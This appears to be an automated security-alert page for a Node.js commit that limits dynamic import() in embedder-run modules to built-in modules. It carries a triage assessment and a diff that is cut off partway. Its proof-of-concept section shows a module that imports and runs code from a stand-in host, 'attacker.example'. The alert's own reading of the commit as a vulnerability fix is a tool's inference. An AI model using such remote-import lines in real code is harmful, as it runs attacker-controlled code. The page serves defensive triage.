Access control / Restriction of dynamic module loading (embedder)

MEDIUM
nodejs/node
Commit: 911b158d1d0f
Affected: < 25.9.0 (embedder path)
2026-04-05 11:35 UTC

Description

The commit hardens Node.js embedding path by enabling embedder-specific handling for dynamic module loading. It adds an embedder module descriptor (embedder_module_hdo) and a new SourceTextModuleTypes with kEmbedder, and switches embedder-run modules to compile with a dedicated type (kEmbedder). The embedding flow now restricts dynamic module imports in embedder context to built-in modules only, via getBuiltinModuleWrapForEmbedder/loadBuiltinModuleForEmbedder, preventing embedder-supplied code from loading arbitrary or external modules. This appears to be a real security hardening rather than a mere cleanup or test addition. It affects the embedder path of dynamic module loading and import.meta initialization, reducing the attack surface where an attacker could influence module loading from an embedder-supplied module.

Proof of Concept

Note: This PoC demonstrates the vulnerability scenario that the patch aims to mitigate rather than an off-the-shelf exploit. It assumes an environment where Node.js is used as an embedding host and runs embedder-run modules. 1) Vulnerable scenario (pre-patch): An embedding host can supply an embedder-run module containing a dynamic import of an arbitrary module (potentially remote or attacker-controlled). // embedder-module.mjs (embedded by host, run in embedder context) export async function run() { // Attempt to dynamically import a non-builtin module const mod = await import('https://attacker.example/malicious.mjs'); mod.run(); } // The host executes this embedder-run module without the security restrictions in place, allowing loading and execution of attacker-controlled code. 2) Attack vector: The embedder supplies a module that uses dynamic import() to pull in attacker-controlled code. If the loader environment permits resolving and evaluating arbitrary modules (external URLs or local paths), this can lead to remote code execution inside Node.js. 3) After the fix (what changes how this behaves): With the patch, embedder-run modules are compiled with type kEmbedder and hostDefinedOptions embedder_module_hdo. During linking/evaluation, imports from embedder modules are resolved only against built-in modules (via getBuiltinModuleWrapForEmbedder). An import of an external/non-builtin module (e.g., https URL or non-core package) will be rejected, and the code will fail to load, preventing remote or attacker-controlled code execution from embedder context. 4) Prerequisites/conditions: - Node.js built with this patch/commit applied. - A host embedding Node.js that provides an embedder-run module containing an import() of a non-builtin module. - The attacker-controlled module is not a built-in module, so the loader would previously fetch/execute it if allowed; after the patch, such imports are blocked.

Commit Details

Author: Joyee Cheung

Date: 2026-02-09 12:31 UTC

Message:

src: support import() and import.meta in embedder-run modules This adds a embedder_module_hdo for identifying embedder-run modules in the dynamic import handler and import.meta initializer, and a SourceTextModuleTypes for customizing source text module compilation in the JS land via compileSourceTextModule(). Also, refactors the existing embedder module compilation code to reuse the builtin resolution logic. PR-URL: https://github.com/nodejs/node/pull/61654 Reviewed-By: Chengzhong Wu <legendecas@gmail.com> Reviewed-By: Aditi Singh <aditisingh1400@gmail.com>

Triage Assessment

Vulnerability Type: Access control / Restriction of dynamic module loading (embedder) (potentially preventing arbitrary code execution via embedder-imports)

Confidence: MEDIUM

Reasoning:

The changes introduce explicit handling for embedder-run modules and restrict dynamic module loading for embedder context to built-in modules only (via embedder_module_hdo and related logic). This directly hardens the embedder path against loading arbitrary external modules, reducing risk of arbitrary code execution or module-based exploits from embedder-provided content.

Verification Assessment

Vulnerability Type: Access control / Restriction of dynamic module loading (embedder)

Confidence: MEDIUM

Affected Versions: < 25.9.0 (embedder path)

Code Diff

diff --git a/lib/internal/main/embedding.js b/lib/internal/main/embedding.js index 91a12f755e6abc..863f90a32f40ac 100644 --- a/lib/internal/main/embedding.js +++ b/lib/internal/main/embedding.js @@ -15,16 +15,12 @@ const { const { isExperimentalSeaWarningNeeded, isSea } = internalBinding('sea'); const { emitExperimentalWarning } = require('internal/util'); const { emitWarningSync } = require('internal/process/warning'); -const { BuiltinModule } = require('internal/bootstrap/realm'); -const { normalizeRequirableId } = BuiltinModule; const { Module } = require('internal/modules/cjs/loader'); const { compileFunctionForCJSLoader } = internalBinding('contextify'); const { maybeCacheSourceMap } = require('internal/source_map/source_map_cache'); -const { codes: { - ERR_UNKNOWN_BUILTIN_MODULE, -} } = require('internal/errors'); const { pathToFileURL } = require('internal/url'); -const { loadBuiltinModule } = require('internal/modules/helpers'); +const { loadBuiltinModuleForEmbedder } = require('internal/modules/helpers'); +const { compileSourceTextModule, SourceTextModuleTypes: { kEmbedder } } = require('internal/modules/esm/utils'); const { moduleFormats } = internalBinding('modules'); const assert = require('internal/assert'); const path = require('path'); @@ -34,7 +30,6 @@ const path = require('path'); prepareMainThreadExecution(false, true); const isLoadingSea = isSea(); -const isBuiltinWarningNeeded = isLoadingSea && isExperimentalSeaWarningNeeded(); if (isExperimentalSeaWarningNeeded()) { emitExperimentalWarning('Single executable application'); } @@ -65,6 +60,7 @@ function embedderRunCjs(content, filename) { filename, isLoadingSea, // is_sea_main false, // should_detect_module, ESM should be supported differently for embedded code + true, // is_embedder ); // Cache the source map for the module if present. if (sourceMapURL) { @@ -103,28 +99,8 @@ function embedderRunCjs(content, filename) { ); } -let warnedAboutBuiltins = false; -function warnNonBuiltinInSEA() { - if (isBuiltinWarningNeeded && !warnedAboutBuiltins) { - emitWarningSync( - 'Currently the require() provided to the main script embedded into ' + - 'single-executable applications only supports loading built-in modules.\n' + - 'To load a module from disk after the single executable application is ' + - 'launched, use require("module").createRequire().\n' + - 'Support for bundled module loading or virtual file systems are under ' + - 'discussions in https://github.com/nodejs/single-executable'); - warnedAboutBuiltins = true; - } -} - function embedderRequire(id) { - const normalizedId = normalizeRequirableId(id); - - if (!normalizedId) { - warnNonBuiltinInSEA(); - throw new ERR_UNKNOWN_BUILTIN_MODULE(id); - } - return require(normalizedId); + return loadBuiltinModuleForEmbedder(id).exports; } function embedderRunESM(content, filename) { @@ -134,31 +110,10 @@ function embedderRunESM(content, filename) { } else { resourceName = filename; } - const { compileSourceTextModule } = require('internal/modules/esm/utils'); - // TODO(joyeecheung): support code cache, dynamic import() and import.meta. - const wrap = compileSourceTextModule(resourceName, content); - // Cache the source map for the module if present. - if (wrap.sourceMapURL) { - maybeCacheSourceMap(resourceName, content, wrap, false, undefined, wrap.sourceMapURL); - } - const requests = wrap.getModuleRequests(); - const modules = []; - for (let i = 0; i < requests.length; ++i) { - const { specifier } = requests[i]; - const normalizedId = normalizeRequirableId(specifier); - if (!normalizedId) { - warnNonBuiltinInSEA(); - throw new ERR_UNKNOWN_BUILTIN_MODULE(specifier); - } - const mod = loadBuiltinModule(normalizedId); - if (!mod) { - throw new ERR_UNKNOWN_BUILTIN_MODULE(specifier); - } - modules.push(mod.getESMFacade()); - } - wrap.link(modules); - wrap.instantiate(); - wrap.evaluate(-1, false); + // TODO(joyeecheung): allow configuration from node::ModuleData, + // either via a more generic context object, or something like import.meta extensions. + const context = { isMain: true, __proto__: null }; + const wrap = compileSourceTextModule(resourceName, content, kEmbedder, context); // TODO(joyeecheung): we may want to return the v8::Module via a vm.SourceTextModule // when vm.SourceTextModule stablizes, or put it in an out parameter. diff --git a/lib/internal/modules/esm/create_dynamic_module.js b/lib/internal/modules/esm/create_dynamic_module.js index 068893ce4361f1..bceae4ad2517af 100644 --- a/lib/internal/modules/esm/create_dynamic_module.js +++ b/lib/internal/modules/esm/create_dynamic_module.js @@ -58,8 +58,10 @@ ${ArrayPrototypeJoin(ArrayPrototypeMap(imports, createImport), '\n')} ${ArrayPrototypeJoin(ArrayPrototypeMap(exports, createExport), '\n')} import.meta.done(); `; - const { registerModule, compileSourceTextModule } = require('internal/modules/esm/utils'); - const m = compileSourceTextModule(`${url}`, source); + const { + registerModule, compileSourceTextModule, SourceTextModuleTypes: { kFacade }, + } = require('internal/modules/esm/utils'); + const m = compileSourceTextModule(`${url}`, source, kFacade); const readyfns = new SafeSet(); /** @type {DynamicModuleReflect} */ diff --git a/lib/internal/modules/esm/loader.js b/lib/internal/modules/esm/loader.js index 0bff0763fcf58f..41513d1b9f3658 100644 --- a/lib/internal/modules/esm/loader.js +++ b/lib/internal/modules/esm/loader.js @@ -34,6 +34,7 @@ const { isURL, pathToFileURL } = require('internal/url'); const { kEmptyObject } = require('internal/util'); const { compileSourceTextModule, + SourceTextModuleTypes: { kUser }, getDefaultConditions, shouldSpawnLoaderHookWorker, requestTypes: { kImportInRequiredESM, kRequireInImportedCJS, kImportInImportedESM }, @@ -244,7 +245,7 @@ class ModuleLoader { * @returns {object} The module wrap object. */ createModuleWrap(source, url, context = kEmptyObject) { - return compileSourceTextModule(url, source, this, context); + return compileSourceTextModule(url, source, kUser, context); } /** @@ -371,7 +372,7 @@ class ModuleLoader { // TODO(joyeecheung): refactor this so that we pre-parse in C++ and hit the // cache here, or use a carrier object to carry the compiled module script // into the constructor to ensure cache hit. - const wrap = compileSourceTextModule(url, source, this); + const wrap = compileSourceTextModule(url, source, kUser); const inspectBrk = (isMain && getOptionValue('--inspect-brk')); const { ModuleJobSync } = require('internal/modules/esm/module_job'); diff --git a/lib/internal/modules/esm/translators.js b/lib/internal/modules/esm/translators.js index 59aad5ae79799c..f45defe9dad88a 100644 --- a/lib/internal/modules/esm/translators.js +++ b/lib/internal/modules/esm/translators.js @@ -93,9 +93,11 @@ translators.set('module', function moduleStrategy(url, translateContext, parentU assertBufferSource(source, true, 'load'); source = stringify(source); debug(`Translating StandardModule ${url}`, translateContext); - const { compileSourceTextModule } = require('internal/modules/esm/utils'); + const { + compileSourceTextModule, SourceTextModuleTypes: { kUser }, + } = require('internal/modules/esm/utils'); const context = isMain ? { isMain } : undefined; - const module = compileSourceTextModule(url, source, this, context); + const module = compileSourceTextModule(url, source, kUser, context); return module; }); diff --git a/lib/internal/modules/esm/utils.js b/lib/internal/modules/esm/utils.js index e28ecd923cb597..f977bfaf57498f 100644 --- a/lib/internal/modules/esm/utils.js +++ b/lib/internal/modules/esm/utils.js @@ -14,6 +14,7 @@ const { }, } = internalBinding('util'); const { + embedder_module_hdo, source_text_module_default_hdo, vm_dynamic_import_default_internal, vm_dynamic_import_main_context_default, @@ -43,6 +44,7 @@ const { const assert = require('internal/assert'); const { normalizeReferrerURL, + loadBuiltinModuleForEmbedder, } = require('internal/modules/helpers'); let defaultConditions; @@ -226,6 +228,28 @@ function defaultImportModuleDynamicallyForScript(specifier, phase, attributes, r return cascadedLoader.import(specifier, parentURL, attributes, phase); } +/** + * Loads the built-in and wraps it in a ModuleWrap for embedder ESM. + * @param {string} specifier + * @returns {ModuleWrap} + */ +function getBuiltinModuleWrapForEmbedder(specifier) { + return loadBuiltinModuleForEmbedder(specifier).getESMFacade(); +} + +/** + * Get the built-in module dynamically for embedder ESM. + * @param {string} specifier - The module specifier string. + * @param {number} phase - The module import phase. Ignored for now. + * @param {Record<string, string>} attributes - The import attributes object. Ignored for now. + * @param {string|null|undefined} referrerName - name of the referrer. + * @returns {import('internal/modules/esm/loader.js').ModuleExports} - The imported module object. + */ +function importModuleDynamicallyForEmbedder(specifier, phase, attributes, referrerName) { + // Ignore phase and attributes for embedder ESM for now, because this only supports loading builtins. + return getBuiltinModuleWrapForEmbedder(specifier).getNamespace(); +} + /** * Asynchronously imports a module dynamically using a callback function. The native callback. * @param {symbol} referrerSymbol - Referrer symbol of the registered script, function, module, or contextified object. @@ -253,6 +277,10 @@ async function importModuleDynamicallyCallback(referrerSymbol, specifier, phase, if (referrerSymbol === source_text_module_default_hdo) { return defaultImportModuleDynamicallyForModule(specifier, phase, attributes, referrerName); } + // For embedder entry point ESM, only allow built-in modules. + if (referrerSymbol === embedder_module_hdo) { + return importModuleDynamicallyForEmbedder(specifier, phase, attributes, referrerName); + } if (moduleRegistries.has(referrerSymbol)) { const { importModuleDynamically, callbackReferrer } = moduleRegistries.get(referrerSymbol); @@ -290,21 +318,42 @@ function shouldSpawnLoaderHookWorker() { return _shouldSpawnLoaderHookWorker; } +const SourceTextModuleTypes = { + kInternal: 'internal', // TODO(joyeecheung): support internal ESM. + kEmbedder: 'embedder', // Embedder ESM, also used by SEA + kUser: 'user', // User-land ESM + kFacade: 'facade', // Currently only used by the facade that proxies WASM module import/exports. +}; + /** * Compile a SourceTextModule for the built-in ESM loader. Register it for default * source map and import.meta and dynamic import() handling if cascadedLoader is provided. * @param {string} url URL of the module. * @param {string} source Source code of the module. - * @param {typeof import('./loader.js').ModuleLoader|undefined} cascadedLoader If provided, - * register the module for default handling. + * @param {string} type Type of the source text module, one of SourceTextModuleTypes. * @param {{ isMain?: boolean }|undefined} context - context object containing module metadata. * @returns {ModuleWrap} */ -function compileSourceTextModule(url, source, cascadedLoader, context = kEmptyObject) { - const hostDefinedOption = cascadedLoader ? source_text_module_default_hdo : undefined; - const wrap = new ModuleWrap(url, undefined, source, 0, 0, hostDefinedOption); +function compileSourceTextModule(url, source, type, context = kEmptyObject) { + let hostDefinedOptions; + switch (type) { + case SourceTextModuleTypes.kFacade: + case SourceTextModuleTypes.kInternal: + hostDefinedOptions = undefined; + break; + case SourceTextModuleTypes.kEmbedder: + hostDefinedOptions = embedder_module_hdo; + break; + case SourceTextModuleTypes.kUser: + hostDefinedOptions = source_text_module_default_hdo; + break; + default: + assert.fail(`Unknown SourceTextModule type: ${type}`); + } + + const wrap = new ModuleWrap(url, undefined, source, 0, 0, hostDefinedOptions); - if (!cascadedLoader) { + if (type === SourceTextModuleTypes.kFacade) { return wrap; } @@ -317,10 +366,18 @@ function compileSourceTextModule(url, source, cascadedLoader, context = kEmptyOb if (wrap.sourceMapURL) { maybeCacheSourceMap(url, source, wrap, false, wrap.sourceURL, wrap.sourceMapURL); } + + if (type === SourceTextModuleTypes.kEmbedder) { + // For embedder ESM, we also handle the linking and evaluation. + const requests = wrap.getModuleRequests(); + const modules = requests.map(({ specifier }) => getBuiltinModuleWrapForEmbedder(specifier)); + wrap.link(modules); + wrap.instantiate(); + wrap.evaluate(-1, false); + } return wrap; } - const kImportInImportedESM = Symbol('kImportInImportedESM'); const kImportInRequiredESM = Symbol('kImportInRequiredESM'); const kRequireInImportedCJS = Symbol('kRequireInImportedCJS'); @@ -331,11 +388,13 @@ const kRequireInImportedCJS = Symbol('kRequireInImportedCJS'); const requestTypes = { kImportInImportedESM, kImportInRequiredESM, kRequireInImportedCJS }; module.exports = { + embedder_module_hdo, registerModule, initializeESM, getDefaultConditions, getConditionsSet, shouldSpawnLoaderHookWorker, compileSourceTextModule, + SourceTextModuleTypes, requestTypes, }; diff --git a/lib/internal/modules/helpers.js b/lib/internal/modules/helpers.js index b04ac126cd35b9..01739fefd6a7f1 100644 --- a/lib/internal/modules/helpers.js +++ b/lib/internal/modules/helpers.js @@ -15,6 +15,7 @@ const { const { ERR_INVALID_ARG_TYPE, ERR_INVALID_RETURN_PROPERTY_VALUE, + ERR_UNKNOWN_BUILTIN_MODULE, } = require('internal/errors').codes; const { BuiltinModule } = require('internal/bootstrap/realm'); @@ -28,6 +29,7 @@ const assert = require('internal/assert'); const { getOptionValue } = require('internal/options'); const { setOwnProperty, getLazy } = require('internal/util'); const { inspect } = require('internal/util/inspect'); +const { emitWarningSync } = require('internal/process/warning'); const lazyTmpdir = getLazy(() => require('os').tmpdir()); const { join } = path; @@ -126,6 +128,42 @@ function loadBuiltinModule(id) { return mod; } +let isSEABuiltinWarningNeeded_; +function isSEABuiltinWarningNeeded() { + if (isSEABuiltinWarningNeeded_ === undefined) { + const { isExperimentalSeaWarningNeeded, isSea } = internalBinding('sea'); + isSEABuiltinWarningNeeded_ = isSea() && isExperimentalSeaWarningNeeded(); + } + return isSEABuiltinWarningNeeded_; +} + +let warnedAboutBuiltins = false; +/** + * Helpers to load built-in modules for embedder modules. + * @param {string} id + * @returns {import('internal/bootstrap/realm.js').BuiltinModule} + */ +fun ... [truncated]
← Back to Alerts View on GitHub →